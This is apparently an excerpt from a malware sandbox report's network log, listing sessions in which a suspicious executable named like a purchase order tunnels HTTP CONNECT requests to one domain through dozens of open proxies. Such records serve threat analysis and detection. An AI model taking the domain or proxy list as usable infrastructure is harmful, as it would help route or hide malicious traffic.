Mar 11, 2024 16:39:51.083100080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.176709890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.10	51033	66.45.246.194	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.953500032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.174087048 CET	327	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.10	50885	106.14.255.124	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.958221912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.10	50268	142.54.237.34	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.962656975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.10	51013	72.195.114.169	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.973870993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.10	50977	60.188.102.225	18080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.975636959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.10	50981	185.49.31.207	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.993295908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.10	50849	103.69.151.189	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.004079103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.799294949 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.10	51009	46.35.9.110	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.008090019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.10	50906	202.164.209.69	5020	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.016788960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.816963911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.894738913 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.10	51023	45.159.189.244	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.033951998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:45.202162981 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.10	50037	147.124.212.31	11070	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.055826902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.164207935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.293862104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.401053905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.504519939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:21.557941914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.598494053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.10	51049	193.239.56.84	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.084467888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.10	51068	184.181.217.210	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.084528923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.10	51010	43.133.136.208	8800	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.084585905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.10	51042	5.252.23.249	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.086124897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.754419088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.785902023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.10	51099	104.16.224.33	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.086360931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.240655899 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.10	51058	91.189.177.188	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.087964058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.417046070 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.10	50061	162.214.191.209	58275	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.093889952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.164207935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.293878078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.10	51066	130.162.213.175	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.105896950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.700273037 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.10	50105	66.228.140.209	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.118222952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.164237976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.102226019 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.10	51111	162.159.242.10	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.118403912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.279495955 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.10	51061	91.202.230.219	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.120639086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.10	49994	120.37.121.209	9091	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.121104956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.473357916 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:39:36 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.10	51011	93.171.220.229	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.122224092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

